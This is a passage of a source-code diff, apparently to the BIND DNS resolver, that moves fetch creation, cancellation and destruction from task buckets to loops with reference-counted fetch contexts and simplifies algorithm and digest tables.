 			 dns_forwarders_t *forwarders,
 			 const isc_sockaddr_t *client, dns_messageid_t id,
 			 unsigned int options, unsigned int depth,
-			 isc_counter_t *qc, isc_task_t *task,
-			 isc_taskaction_t action, void *arg,
-			 dns_rdataset_t *rdataset, dns_rdataset_t *sigrdataset,
-			 dns_fetch_t **fetchp) {
-	dns_fetch_t *fetch;
+			 isc_counter_t *qc, isc_loop_t *loop, isc_job_cb cb,
+			 void *arg, dns_rdataset_t *rdataset,
+			 dns_rdataset_t *sigrdataset, dns_fetch_t **fetchp) {
+	dns_fetch_t *fetch = NULL;
 	fetchctx_t *fctx = NULL;
 	isc_result_t result = ISC_R_SUCCESS;
-	unsigned int bucketnum;
 	bool new_fctx = false;
-	isc_event_t *event;
 	unsigned int count = 0;
 	unsigned int spillat;
 	unsigned int spillatmin;
-	bool dodestroy = false;
+	isc_mem_t *mctx = isc_loop_getmctx(loop);
 
 	UNUSED(forwarders);
 
@@ -10909,179 +10368,211 @@ dns_resolver_createfetch(dns_resolver_t *res, const dns_name_t *name,
 	REQUIRE(sigrdataset == NULL || !dns_rdataset_isassociated(sigrdataset));
 	REQUIRE(fetchp != NULL && *fetchp == NULL);
 
+	if (atomic_load_acquire(&res->exiting)) {
+		return (ISC_R_SHUTTINGDOWN);
+	}
+
 	log_fetch(name, type);
 
-	/*
-	 * XXXRTH  use a mempool?
-	 */
-	fetch = isc_mem_get(res->mctx, sizeof(*fetch));
-	fetch->mctx = NULL;
-	isc_mem_attach(res->mctx, &fetch->mctx);
+	fetch = isc_mem_get(mctx, sizeof(*fetch));
+	*fetch = (dns_fetch_t){ 0 };
 
-	bucketnum = dns_name_fullhash(name, false) % res->nbuckets;
+	dns_resolver_attach(res, &fetch->res);
+	isc_mem_attach(mctx, &fetch->mctx);
 
-	LOCK(&res->lock);
-	spillat = res->spillat;
-	spillatmin = res->spillatmin;
-	UNLOCK(&res->lock);
-	LOCK(&res->buckets[bucketnum].lock);
+	if ((options & DNS_FETCHOPT_UNSHARED) == 0) {
+		/*
+		 * We don't save the unshared fetch context to a bucket because
+		 * we also would never match it again.
+		 */
 
-	if (atomic_load(&res->buckets[bucketnum].exiting)) {
-		result = ISC_R_SHUTTINGDOWN;
-		goto unlock;
-	}
+		LOCK(&res->lock);
+		spillat = res->spillat;
+		spillatmin = res->spillatmin;
+		UNLOCK(&res->lock);
 
-	if ((options & DNS_FETCHOPT_UNSHARED) == 0) {
-		for (fctx = ISC_LIST_HEAD(res->buckets[bucketnum].fctxs);
-		     fctx != NULL; fctx = ISC_LIST_NEXT(fctx, link))
-		{
-			if (fctx_match(fctx, name, type, options)) {
-				break;
-			}
+		result = get_attached_fctx(res, loop, name, type, domain,
+					   nameservers, client, options, depth,
+					   qc, &fctx, &new_fctx);
+		if (result != ISC_R_SUCCESS) {
+			goto fail;
 		}
-	}
 
-	/*
-	 * Is this a duplicate?
-	 */
-	if (fctx != NULL && client != NULL) {
-		dns_fetchevent_t *fevent;
-		for (fevent = ISC_LIST_HEAD(fctx->events); fevent != NULL;
-		     fevent = ISC_LIST_NEXT(fevent, ev_link))
-		{
-			if (fevent->client != NULL && fevent->id == id &&
-			    isc_sockaddr_equal(fevent->client, client))
+		/* On success, the fctx is locked in get_attached_fctx() */
+		INSIST(!SHUTTINGDOWN(fctx));
+
+		/* Is this a duplicate? */
+		if (client != NULL) {
+			dns_fetchresponse_t *resp = NULL;
+			for (resp = ISC_LIST_HEAD(fctx->resps); resp != NULL;
+			     resp = ISC_LIST_NEXT(resp, link))
 			{
-				result = DNS_R_DUPLICATE;
-				goto unlock;
+				if (resp->client != NULL && resp->id == id &&
+				    isc_sockaddr_equal(resp->client, client))
+				{
+					result = DNS_R_DUPLICATE;
+					goto unlock;
+				}
+
+				/*
+				 * Only the regular fetch events should be
+				 * counted for the clients-per-query limit, in
+				 * case if there are multiple events registered
+				 * for a single client.
+				 */
+				if (resp->type == FETCHDONE) {
+					count++;
+				}
 			}
-			count++;
 		}
-	}
-	if (count >= spillatmin && spillatmin != 0) {
-		INSIST(fctx != NULL);
-		if (count >= spillat) {
-			fctx->spilled = true;
-		}
-		if (fctx->spilled) {
-			result = DNS_R_DROP;
-			goto unlock;
+		if (count >= spillatmin && spillatmin != 0) {
+			if (count >= spillat) {
+				fctx->spilled = true;
+			}
+			if (fctx->spilled) {
+				inc_stats(res, dns_resstatscounter_clientquota);
+				result = DNS_R_DROP;
+				goto unlock;
+			}
 		}
-	}
-
-	if (fctx == NULL) {
-		result = fctx_create(res, name, type, domain, nameservers,
-				     client, options, bucketnum, depth, qc,
-				     &fctx);
+	} else {
+		result = fctx_create(res, loop, name, type, domain, nameservers,
+				     client, options, depth, qc, &fctx);
 		if (result != ISC_R_SUCCESS) {
 			goto unlock;
 		}
 		new_fctx = true;
-	} else if (fctx->depth > depth) {
+	}
+
+	if (fctx->depth > depth) {
 		fctx->depth = depth;
 	}
 
-	result = fctx_join(fctx, task, client, id, action, arg, rdataset,
-			   sigrdataset, fetch);
+	fctx_join(fctx, loop, client, id, cb, arg, rdataset, sigrdataset,
+		  fetch);
 
-	if (result == ISC_R_SUCCESS &&
-	    ((options & DNS_FETCHOPT_TRYSTALE_ONTIMEOUT) != 0))
-	{
-		fctx_add_event(fctx, task, client, id, action, arg, fetch,
-			       DNS_EVENT_TRYSTALE);
+	if ((options & DNS_FETCHOPT_TRYSTALE_ONTIMEOUT) != 0) {
+		fctx_add_event(fctx, loop, client, id, cb, arg, NULL, NULL,
+			       fetch, TRYSTALE);
 	}
 
 	if (new_fctx) {
-		if (result == ISC_R_SUCCESS) {
-			/*
-			 * Launch this fctx.
-			 */
-			event = &fctx->control_event;
-			ISC_EVENT_INIT(event, sizeof(*event), 0, NULL,
-				       DNS_EVENT_FETCHCONTROL, fctx_start, fctx,
-				       NULL, NULL, NULL);
-			isc_task_send(res->buckets[bucketnum].task, &event);
-		} else {
-			/*
-			 * We don't care about the result of fctx_unlink()
-			 * since we know we're not exiting.
-			 */
-			(void)fctx_unlink(fctx);
-			dodestroy = true;
-		}
+		fetchctx_ref(fctx);
+		isc_async_run(fctx->loop, (isc_job_cb)fctx_start, fctx);
 	}
 
 unlock:
-	UNLOCK(&res->buckets[bucketnum].lock);
-
-	if (dodestroy) {
-		fctx_destroy(fctx);
+	if ((options & DNS_FETCHOPT_UNSHARED) == 0) {
+		UNLOCK(&fctx->lock);
+		fetchctx_unref(fctx);
 	}
 
-	if (result == ISC_R_SUCCESS) {
-		FTRACE("created");
-		*fetchp = fetch;
-	} else {
+fail:
+	if (result != ISC_R_SUCCESS) {
+		dns_resolver_detach(&fetch->res);
 		isc_mem_putanddetach(&fetch->mctx, fetch, sizeof(*fetch));
+		return (result);
 	}
 
-	return (result);
+	FTRACE("created");
+	*fetchp = fetch;
+
+	return (ISC_R_SUCCESS);
 }
 
 void
 dns_resolver_cancelfetch(dns_fetch_t *fetch) {
-	fetchctx_t *fctx;
-	dns_resolver_t *res;
-	dns_fetchevent_t *event, *next_event;
-	isc_task_t *etask;
+	fetchctx_t *fctx = NULL;
+	dns_fetchresponse_t *trystale = NULL;
+	dns_fetchresponse_t *fetchdone = NULL;
 
 	REQUIRE(DNS_FETCH_VALID(fetch));
 	fctx = fetch->private;
 	REQUIRE(VALID_FCTX(fctx));
-	res = fctx->res;
 
 	FTRACE("cancelfetch");
 
-	LOCK(&res->buckets[fctx->bucketnum].lock);
+	LOCK(&fctx->lock);
+
+	/*
+	 * Find completion events associated with this fetch (as opposed
+	 * to those for other fetches that have joined the same fctx).
+	 * The event(s) found are only sent and removed from the fctx->resps
+	 * list after this loop is finished (i.e. the fctx->resps list is not
+	 * modified during iteration).
+	 */
+	if (fctx->state != fetchstate_done) {
+		dns_fetchresponse_t *next = NULL;
+		for (dns_fetchresponse_t *resp = ISC_LIST_HEAD(fctx->resps);
+		     resp != NULL; resp = next)
+		{
+			next = ISC_LIST_NEXT(resp, link);
+
+			/*
+			 * Only process events associated with the provided
+			 * 'fetch'.
+			 */
+			if (resp->fetch != fetch) {
+				continue;
+			}
+
+			/*
+			 * Track various events associated with the
+			 * provided 'fetch' in separate variables as they
+			 * will need to be sent in a specific order.
+			 */
+			switch (resp->type) {
+			case TRYSTALE:
+				INSIST(trystale == NULL);
+				trystale = resp;
+				break;
+			case FETCHDONE:
+				INSIST(fetchdone == NULL);
+				fetchdone = resp;
+				break;
+			default:
+				UNREACHABLE();
+			}
 
-	/*
-	 * Find the completion event for this fetch (as opposed
-	 * to those for other fetches that have joined the same
-	 * fctx) and send it with result = ISC_R_CANCELED.
-	 */
-	event = NULL;
-	if (fctx->state != fetchstate_done) {
-		for (event = ISC_LIST_HEAD(fctx->events); event != NULL;
-		     event = next_event) {
-			next_event = ISC_LIST_NEXT(event, ev_link);
-			if (event->fetch == fetch) {
-				ISC_LIST_UNLINK(fctx->events, event, ev_link);
+			/*
+			 * Break out of the loop once all possible types of
+			 * events associated with the provided 'fetch' are
+			 * found.
+			 */
+			if (trystale != NULL && fetchdone != NULL) {
 				break;
 			}
 		}
 	}
-	if (event != NULL) {
-		etask = event->ev_sender;
-		event->ev_sender = fctx;
-		event->result = ISC_R_CANCELED;
-		isc_task_sendanddetach(&etask, ISC_EVENT_PTR(&event));
+
+	/*
+	 * The "trystale" event must be sent before the "fetchdone" event,
+	 * because the latter clears the "recursing" query attribute, which is
+	 * required by both events (handled by the same callback function).
+	 */
+	if (trystale != NULL) {
+		trystale->result = ISC_R_CANCELED;
+		ISC_LIST_UNLINK(fctx->resps, trystale, link);
+		isc_async_run(trystale->loop, trystale->cb, trystale);
+	}
+	if (fetchdone != NULL) {
+		fetchdone->result = ISC_R_CANCELED;
+		ISC_LIST_UNLINK(fctx->resps, fetchdone, link);
+		isc_async_run(fetchdone->loop, fetchdone->cb, fetchdone);
 	}
+
 	/*
 	 * The fctx continues running even if no fetches remain;
 	 * the answer is still cached.
 	 */
-
-	UNLOCK(&res->buckets[fctx->bucketnum].lock);
+	UNLOCK(&fctx->lock);
 }
 
 void
 dns_resolver_destroyfetch(dns_fetch_t **fetchp) {
-	dns_fetch_t *fetch;
-	dns_resolver_t *res;
-	dns_fetchevent_t *event, *next_event;
-	fetchctx_t *fctx;
-	unsigned int bucketnum;
-	bool bucket_empty;
+	dns_fetch_t *fetch = NULL;
+	dns_resolver_t *res = NULL;
+	fetchctx_t *fctx = NULL;
 
 	REQUIRE(fetchp != NULL);
 	fetch = *fetchp;
@@ -11089,63 +10580,57 @@ dns_resolver_destroyfetch(dns_fetch_t **fetchp) {
 	REQUIRE(DNS_FETCH_VALID(fetch));
 	fctx = fetch->private;
 	REQUIRE(VALID_FCTX(fctx));
-	res = fctx->res;
+	res = fetch->res;
 
 	FTRACE("destroyfetch");
 
-	bucketnum = fctx->bucketnum;
-	LOCK(&res->buckets[bucketnum].lock);
+	fetch->magic = 0;
 
+	LOCK(&fctx->lock);
 	/*
 	 * Sanity check: the caller should have gotten its event before
 	 * trying to destroy the fetch.
 	 */
-	event = NULL;
 	if (fctx->state != fetchstate_done) {
-		for (event = ISC_LIST_HEAD(fctx->events); event != NULL;
-		     event = next_event) {
-			next_event = ISC_LIST_NEXT(event, ev_link);
-			RUNTIME_CHECK(event->fetch != fetch);
+		dns_fetchresponse_t *resp = NULL, *next = NULL;
+		for (resp = ISC_LIST_HEAD(fctx->resps); resp != NULL;
+		     resp = next)
+		{
+			next = ISC_LIST_NEXT(resp, link);
+			RUNTIME_CHECK(resp->fetch != fetch);
 		}
 	}
-
-	bucket_empty = fctx_decreference(fctx);
-	UNLOCK(&res->buckets[bucketnum].lock);
+	UNLOCK(&fctx->lock);
 
 	isc_mem_putanddetach(&fetch->mctx, fetch, sizeof(*fetch));
 
-	if (bucket_empty) {
-		empty_bucket(res);
-	}
+	fetchctx_detach(&fctx);
+	dns_resolver_detach(&res);
 }
 
 void
 dns_resolver_logfetch(dns_fetch_t *fetch, isc_log_t *lctx,
 		      isc_logcategory_t *category, isc_logmodule_t *module,
 		      int level, bool duplicateok) {
-	fetchctx_t *fctx;
-	dns_resolver_t *res;
-	char domainbuf[DNS_NAME_FORMATSIZE];
+	fetchctx_t *fctx = NULL;
 
 	REQUIRE(DNS_FETCH_VALID(fetch));
 	fctx = fetch->private;
 	REQUIRE(VALID_FCTX(fctx));
-	res = fctx->res;
 
-	LOCK(&res->buckets[fctx->bucketnum].lock);
+	LOCK(&fctx->lock);
 
-	INSIST(fctx->exitline >= 0);
 	if (!fctx->logged || duplicateok) {
-		dns_name_format(&fctx->domain, domainbuf, sizeof(domainbuf));
+		char domainbuf[DNS_NAME_FORMATSIZE];
+		dns_name_format(fctx->domain, domainbuf, sizeof(domainbuf));
 		isc_log_write(lctx, category, module, level,
-			      "fetch completed at %s:%d for %s in "
+			      "fetch completed for %s in "
 			      "%" PRIu64 "."
 			      "%06" PRIu64 ": %s/%s "
 			      "[domain:%s,referral:%u,restart:%u,qrysent:%u,"
 			      "timeout:%u,lame:%u,quota:%u,neterr:%u,"
 			      "badresp:%u,adberr:%u,findfail:%u,valfail:%u]",
-			      __FILE__, fctx->exitline, fctx->info,
-			      fctx->duration / US_PER_SEC,
+			      fctx->info, fctx->duration / US_PER_SEC,
 			      fctx->duration % US_PER_SEC,
 			      isc_result_totext(fctx->result),
 			      isc_result_totext(fctx->vresult), domainbuf,
@@ -11156,13 +10641,7 @@ dns_resolver_logfetch(dns_fetch_t *fetch, isc_log_t *lctx,
 		fctx->logged = true;
 	}
 
-	UNLOCK(&res->buckets[fctx->bucketnum].lock);
-}
-
-dns_dispatchmgr_t *
-dns_resolver_dispatchmgr(dns_resolver_t *resolver) {
-	REQUIRE(VALID_RESOLVER(resolver));
-	return (resolver->dispatchmgr);
+	UNLOCK(&fctx->lock);
 }
 
 dns_dispatch_t *
@@ -11177,18 +10656,6 @@ dns_resolver_dispatchv6(dns_resolver_t *resolver) {
 	return (dns_dispatchset_get(resolver->dispatches6));
 }
 
-isc_socketmgr_t *
-dns_resolver_socketmgr(dns_resolver_t *resolver) {
-	REQUIRE(VALID_RESOLVER(resolver));
-	return (resolver->socketmgr);
-}
-
-isc_taskmgr_t *
-dns_resolver_taskmgr(dns_resolver_t *resolver) {
-	REQUIRE(VALID_RESOLVER(resolver));
-	return (resolver->taskmgr);
-}
-
 uint32_t
 dns_resolver_getlamettl(dns_resolver_t *resolver) {
 	REQUIRE(VALID_RESOLVER(resolver));
@@ -11201,16 +10668,16 @@ dns_resolver_setlamettl(dns_resolver_t *resolver, uint32_t lame_ttl) {
 	resolver->lame_ttl = lame_ttl;
 }
 
-isc_result_t
-dns_resolver_addalternate(dns_resolver_t *resolver, const isc_sockaddr_t *alt,
+void
+dns_resolver_addalternate(dns_resolver_t *res, const isc_sockaddr_t *alt,
 			  const dns_name_t *name, in_port_t port) {
 	alternate_t *a;
 
-	REQUIRE(VALID_RESOLVER(resolver));
-	REQUIRE(!resolver->frozen);
+	REQUIRE(VALID_RESOLVER(res));
+	REQUIRE(!res->frozen);
 	REQUIRE((alt == NULL) ^ (name == NULL));
 
-	a = isc_mem_get(resolver->mctx, sizeof(*a));
+	a = isc_mem_get(res->mctx, sizeof(*a));
 	if (alt != NULL) {
 		a->isaddress = true;
 		a->_u.addr = *alt;
@@ -11218,24 +10685,10 @@ dns_resolver_addalternate(dns_resolver_t *resolver, const isc_sockaddr_t *alt,
 		a->isaddress = false;
 		a->_u._n.port = port;
 		dns_name_init(&a->_u._n.name, NULL);
-		dns_name_dup(name, resolver->mctx, &a->_u._n.name);
+		dns_name_dup(name, res->mctx, &a->_u._n.name);
 	}
 	ISC_LINK_INIT(a, link);
-	ISC_LIST_APPEND(resolver->alternates, a, link);
-
-	return (ISC_R_SUCCESS);
-}
-
-void
-dns_resolver_setudpsize(dns_resolver_t *resolver, uint16_t udpsize) {
-	REQUIRE(VALID_RESOLVER(resolver));
-	resolver->udpsize = udpsize;
-}
-
-uint16_t
-dns_resolver_getudpsize(dns_resolver_t *resolver) {
-	REQUIRE(VALID_RESOLVER(resolver));
-	return (resolver->udpsize);
+	ISC_LIST_APPEND(res->alternates, a, link);
 }
 
 void
@@ -11260,14 +10713,15 @@ dns_resolver_addbadcache(dns_resolver_t *resolver, const dns_name_t *name,
 #endif /* ifdef ENABLE_AFL */
 	{
 		dns_badcache_add(resolver->badcache, name, type, false, 0,
-				 expire);
+				 isc_time_seconds(expire));
 	}
 }
 
-bool
+isc_result_t
 dns_resolver_getbadcache(dns_resolver_t *resolver, const dns_name_t *name,
 			 dns_rdatatype_t type, isc_time_t *now) {
-	return (dns_badcache_find(resolver->badcache, name, type, NULL, now));
+	return (dns_badcache_find(resolver->badcache, name, type, NULL,
+				  isc_time_seconds(now)));
 }
 
 void
@@ -11275,295 +10729,59 @@ dns_resolver_printbadcache(dns_resolver_t *resolver, FILE *fp) {
 	(void)dns_badcache_print(resolver->badcache, "Bad cache", fp);
 }
 
-static void
-free_algorithm(void *node, void *arg) {
-	unsigned char *algorithms = node;
-	isc_mem_t *mctx = arg;
-
-	isc_mem_put(mctx, algorithms, *algorithms);
-}
-
-void
-dns_resolver_reset_algorithms(dns_resolver_t *resolver) {
-	REQUIRE(VALID_RESOLVER(resolver));
-
-#if USE_ALGLOCK
-	RWLOCK(&resolver->alglock, isc_rwlocktype_write);
-#endif /* if USE_ALGLOCK */
-	if (resolver->algorithms != NULL) {
-		dns_rbt_destroy(&resolver->algorithms);
-	}
-#if USE_ALGLOCK
-	RWUNLOCK(&resolver->alglock, isc_rwlocktype_write);
-#endif /* if USE_ALGLOCK */
-}
-
 isc_result_t
 dns_resolver_disable_algorithm(dns_resolver_t *resolver, const dns_name_t *name,
 			       unsigned int alg) {
-	unsigned int len, mask;
-	unsigned char *tmp;
-	unsigned char *algorithms;
-	isc_result_t result;
-	dns_rbtnode_t *node = NULL;
-
-	/*
-	 * Whether an algorithm is disabled (or not) is stored in a
-	 * per-name bitfield that is stored as the node data of an
-	 * RBT.
-	 */
-
 	REQUIRE(VALID_RESOLVER(resolver));
+
 	if (alg > 255) {
 		return (ISC_R_RANGE);
 	}
 
-#if USE_ALGLOCK
-	RWLOCK(&resolver->alglock, isc_rwlocktype_write);
-#endif /* if USE_ALGLOCK */
-	if (resolver->algorithms == NULL) {
-		result = dns_rbt_create(resolver->mctx, free_algorithm,
-					resolver->mctx, &resolver->algorithms);
-		if (result != ISC_R_SUCCESS) {
-			goto cleanup;
-		}
-	}
-
-	len = alg / 8 + 2;
-	mask = 1 << (alg % 8);
+	return (dns_nametree_add(resolver->algorithms, name, alg));
+}
 
-	result = dns_rbt_addnode(resolver->algorithms, name, &node);
+isc_result_t
+dns_resolver_disable_ds_digest(dns_resolver_t *resolver, const dns_name_t *name,
+			       unsigned int digest_type) {
+	REQUIRE(VALID_RESOLVER(resolver));
 
-	if (result == ISC_R_SUCCESS || result == ISC_R_EXISTS) {
-		algorithms = node->data;
-		/*
-		 * If algorithms is set, algorithms[0] contains its
-		 * length.
-		 */
-		if (algorithms == NULL || len > *algorithms) {
-			/*
-			 * If no bitfield exists in the node data, or if
-			 * it is not long enough, allocate a new
-			 * bitfield and copy the old (smaller) bitfield
-			 * into it if one exists.
-			 */
-			tmp = isc_mem_get(resolver->mctx, len);
-			memset(tmp, 0, len);
-			if (algorithms != NULL) {
-				memmove(tmp, algorithms, *algorithms);
-			}
-			tmp[len - 1] |= mask;
-			/* 'tmp[0]' should contain the length of 'tmp'. */
-			*tmp = len;
-			node->data = tmp;
-			/* Free the older bitfield. */
-			if (algorithms != NULL) {
-				isc_mem_put(resolver->mctx, algorithms,
-					    *algorithms);
-			}
-		} else {
-			algorithms[len - 1] |= mask;
-		}
+	if (digest_type > 255) {
+		return (ISC_R_RANGE);
 	}
-	result = ISC_R_SUCCESS;
-cleanup:
-#if USE_ALGLOCK
-	RWUNLOCK(&resolver->alglock, isc_rwlocktype_write);
-#endif /* if USE_ALGLOCK */
-	return (result);
+
+	return (dns_nametree_add(resolver->digests, name, digest_type));
 }
 
 bool
 dns_resolver_algorithm_supported(dns_resolver_t *resolver,
 				 const dns_name_t *name, unsigned int alg) {
-	unsigned int len, mask;
-	unsigned char *algorithms;
-	void *data = NULL;
-	isc_result_t result;
-	bool found = false;
-
 	REQUIRE(VALID_RESOLVER(resolver));
 
-	/*
-	 * DH is unsupported for DNSKEYs, see RFC 4034 sec. A.1.
-	 */
 	if ((alg == DST_ALG_DH) || (alg == DST_ALG_INDIRECT)) {
 		return (false);
 	}
 
-#if USE_ALGLOCK
-	RWLOCK(&resolver->alglock, isc_rwlocktype_read);
-#endif /* if USE_ALGLOCK */
-	if (resolver->algorithms == NULL) {
-		goto unlock;
-	}
-	result = dns_rbt_findname(resolver->algorithms, name, 0, NULL, &data);
-	if (result == ISC_R_SUCCESS || result == DNS_R_PARTIALMATCH) {
-		len = alg / 8 + 2;
-		mask = 1 << (alg % 8);
-		algorithms = data;
-		if (len <= *algorithms && (algorithms[len - 1] & mask) != 0) {
-			found = true;
-		}
-	}
-unlock:
-#if USE_ALGLOCK
-	RWUNLOCK(&resolver->alglock, isc_rwlocktype_read);
-#endif /* if USE_ALGLOCK */
-	if (found) {
+	if (dns_nametree_covered(resolver->algorithms, name, NULL, alg)) {
 		return (false);
 	}
 
 	return (dst_algorithm_supported(alg));
 }
 
-static void
-free_digest(void *node, void *arg) {
-	unsigned char *digests = node;
-	isc_mem_t *mctx = arg;
-
-	isc_mem_put(mctx, digests, *digests);
-}
-
-void
-dns_resolver_reset_ds_digests(dns_resolver_t *resolver) {
-	REQUIRE(VALID_RESOLVER(resolver));
-
-#if USE_ALGLOCK
-	RWLOCK(&resolver->alglock, isc_rwlocktype_write);
-#endif /* if USE_ALGLOCK */
-	if (resolver->digests != NULL) {
-		dns_rbt_destroy(&resolver->digests);
-	}
-#if USE_ALGLOCK
-	RWUNLOCK(&resolver->alglock, isc_rwlocktype_write);
-#endif /* if USE_ALGLOCK */
-}
-
-isc_result_t
-dns_resolver_disable_ds_digest(dns_resolver_t *resolver, const dns_name_t *name,
-			       unsigned int digest_type) {
-	unsigned int len, mask;
-	unsigned char *tmp;
-	unsigned char *digests;
-	isc_result_t result;
-	dns_rbtnode_t *node = NULL;
-
-	/*
-	 * Whether a digest is disabled (or not) is stored in a per-name
-	 * bitfield that is stored as the node data of an RBT.
-	 */
-
-	REQUIRE(VALID_RESOLVER(resolver));
-	if (digest_type > 255) {
-		return (ISC_R_RANGE);
-	}
-
-#if USE_ALGLOCK
-	RWLOCK(&resolver->alglock, isc_rwlocktype_write);
-#endif /* if USE_ALGLOCK */
-	if (resolver->digests == NULL) {
-		result = dns_rbt_create(resolver->mctx, free_digest,
-					resolver->mctx, &resolver->digests);
-		if (result != ISC_R_SUCCESS) {
-			goto cleanup;
-		}
-	}
-
-	len = digest_type / 8 + 2;
-	mask = 1 << (digest_type % 8);
-
-	result = dns_rbt_addnode(resolver->digests, name, &node);
-
-	if (result == ISC_R_SUCCESS || result == ISC_R_EXISTS) {
-		digests = node->data;
-		/* If digests is set, digests[0] contains its length. */
-		if (digests == NULL || len > *digests) {
-			/*
-			 * If no bitfield exists in the node data, or if
-			 * it is not long enough, allocate a new
-			 * bitfield and copy the old (smaller) bitfield
-			 * into it if one exists.
-			 */
-			tmp = isc_mem_get(resolver->mctx, len);
-			memset(tmp, 0, len);
-			if (digests != NULL) {
-				memmove(tmp, digests, *digests);
-			}
-			tmp[len - 1] |= mask;
-			/* tmp[0] should contain the length of 'tmp'. */
-			*tmp = len;
-			node->data = tmp;
-			/* Free the older bitfield. */
-			if (digests != NULL) {
-				isc_mem_put(resolver->mctx, digests, *digests);
-			}
-		} else {
-			digests[len - 1] |= mask;
-		}
-	}
-	result = ISC_R_SUCCESS;
-cleanup:
-#if USE_ALGLOCK
-	RWUNLOCK(&resolver->alglock, isc_rwlocktype_write);
-#endif /* if USE_ALGLOCK */
-	return (result);
-}
-
 bool
 dns_resolver_ds_digest_supported(dns_resolver_t *resolver,
 				 const dns_name_t *name,
 				 unsigned int digest_type) {
-	unsigned int len, mask;
-	unsigned char *digests;
-	void *data = NULL;
-	isc_result_t result;
-	bool found = false;
-
 	REQUIRE(VALID_RESOLVER(resolver));
 
-#if USE_ALGLOCK
-	RWLOCK(&resolver->alglock, isc_rwlocktype_read);
-#endif /* if USE_ALGLOCK */
-	if (resolver->digests == NULL) {
-		goto unlock;
-	}
-	result = dns_rbt_findname(resolver->digests, name, 0, NULL, &data);
-	if (result == ISC_R_SUCCESS || result == DNS_R_PARTIALMATCH) {
-		len = digest_type / 8 + 2;
-		mask = 1 << (digest_type % 8);
-		digests = data;
-		if (len <= *digests && (digests[len - 1] & mask) != 0) {
-			found = true;
-		}
-	}
-unlock:
-#if USE_ALGLOCK
-	RWUNLOCK(&resolver->alglock, isc_rwlocktype_read);
-#endif /* if USE_ALGLOCK */
-	if (found) {
+	if (dns_nametree_covered(resolver->digests, name, NULL, digest_type)) {
 		return (false);
 	}
-	return (dst_ds_digest_supported(digest_type));
-}
-
-void
-dns_resolver_resetmustbesecure(dns_resolver_t *resolver) {
-	REQUIRE(VALID_RESOLVER(resolver));
 
-#if USE_MBSLOCK
-	RWLOCK(&resolver->mbslock, isc_rwlocktype_write);
-#endif /* if USE_MBSLOCK */
-	if (resolver->mustbesecure != NULL) {
-		dns_rbt_destroy(&resolver->mustbesecure);
-	}
-#if USE_MBSLOCK
-	RWUNLOCK(&resolver->mbslock, isc_rwlocktype_write);
-#endif /* if USE_MBSLOCK */
+	return (dst_ds_digest_supported(digest_type));
 }
 
-static bool yes = true, no = false;
-
 isc_result_t
 dns_resolver_setmustbesecure(dns_resolver_t *resolver, const dns_name_t *name,
 			     bool value) {
@@ -11571,48 +10789,15 @@ dns_resolver_setmustbesecure(dns_resolver_t *resolver, const dns_name_t *name,
 
 	REQUIRE(VALID_RESOLVER(resolver));
 
-#if USE_MBSLOCK
-	RWLOCK(&resolver->mbslock, isc_rwlocktype_write);
-#endif /* if USE_MBSLOCK */
-	if (resolver->mustbesecure == NULL) {
-		result = dns_rbt_create(resolver->mctx, NULL, NULL,
-					&resolver->mustbesecure);
-		if (result != ISC_R_SUCCESS) {
-			goto cleanup;
-		}
-	}
-	result = dns_rbt_addname(resolver->mustbesecure, name,
-				 value ? &yes : &no);
-cleanup:
-#if USE_MBSLOCK
-	RWUNLOCK(&resolver->mbslock, isc_rwlocktype_write);
-#endif /* if USE_MBSLOCK */
+	result = dns_nametree_add(resolver->mustbesecure, name, value);
 	return (result);
 }
 
 bool
 dns_resolver_getmustbesecure(dns_resolver_t *resolver, const dns_name_t *name) {
-	void *data = NULL;
-	bool value = false;
-	isc_result_t result;
-
 	REQUIRE(VALID_RESOLVER(resolver));
 
-#if USE_MBSLOCK
-	RWLOCK(&resolver->mbslock, isc_rwlocktype_read);
-#endif /* if USE_MBSLOCK */
-	if (resolver->mustbesecure == NULL) {
-		goto unlock;
-	}
-	result = dns_rbt_findname(resolver->mustbesecure, name, 0, NULL, &data);
-	if (result == ISC_R_SUCCESS || result == DNS_R_PARTIALMATCH) {
-		value = *(bool *)data;
-	}
-unlock:
-#if USE_MBSLOCK
-	RWUNLOCK(&resolver->mbslock, isc_rwlocktype_read);
-#endif /* if USE_MBSLOCK */
-	return (value);
+	return (dns_nametree_covered(resolver->mustbesecure, name, NULL, 0));
 }
 
 void
@@ -11621,15 +10806,9 @@ dns_resolver_getclientsperquery(dns_resolver_t *resolver, uint32_t *cur,
 	REQUIRE(VALID_RESOLVER(resolver));
 
 	LOCK(&resolver->lock);
-	if (cur != NULL) {
-		*cur = resolver->spillat;
-	}
-	if (min != NULL) {
-		*min = resolver->spillatmin;
-	}
-	if (max != NULL) {
-		*max = resolver->spillatmax;
-	}
+	SET_IF_NOT_NULL(cur, resolver->spillat);
+	SET_IF_NOT_NULL(min, resolver->spillatmin);
+	SET_IF_NOT_NULL(max, resolver->spillatmax);
 	UNLOCK(&resolver->lock);
 }
 
@@ -11651,6 +10830,13 @@ dns_resolver_setfetchesperzone(dns_resolver_t *resolver, uint32_t clients) {
 	atomic_store_release(&resolver->zspill, clients);
 }
 
+uint32_t
+dns_resolver_getfetchesperzone(dns_resolver_t *resolver) {
+	REQUIRE(VALID_RESOLVER(resolver));
+
+	return (atomic_load_relaxed(&resolver->zspill));
+}
+
 bool
 dns_resolver_getzeronosoattl(dns_resolver_t *resolver) {
 	REQUIRE(VALID_RESOLVER(resolver));
@@ -11700,32 +10886,6 @@ dns_resolver_settimeout(dns_resolver_t *resolver, unsigned int timeout) {
 	resolver->query_timeout = timeout;
 }
 
-void
-dns_resolver_setquerydscp4(dns_resolver_t *resolver, isc_dscp_t dscp) {
-	REQUIRE(VALID_RESOLVER(resolver));
-
-	resolver->querydscp4 = dscp;
-}
-
-isc_dscp_t
-dns_resolver_getquerydscp4(dns_resolver_t *resolver) {
-	REQUIRE(VALID_RESOLVER(resolver));
-	return (resolver->querydscp4);
-}
-
-void
-dns_resolver_setquerydscp6(dns_resolver_t *resolver, isc_dscp_t dscp) {
-	REQUIRE(VALID_RESOLVER(resolver));
-
-	resolver->querydscp6 = dscp;
-}
-
-isc_dscp_t
-dns_resolver_getquerydscp6(dns_resolver_t *resolver) {
-	REQUIRE(VALID_RESOLVER(resolver));
-	return (resolver->querydscp6);
-}
-
 void
 dns_resolver_setmaxdepth(dns_resolver_t *resolver, unsigned int maxdepth) {
 	REQUIRE(VALID_RESOLVER(resolver));
@@ -11751,26 +10911,88 @@ dns_resolver_getmaxqueries(dns_resolver_t *resolver) {
 }
 
 void
-dns_resolver_dumpfetches(dns_resolver_t *resolver, isc_statsformat_t format,
+dns_resolver_dumpfetches(dns_resolver_t *res, isc_statsformat_t format,
 			 FILE *fp) {
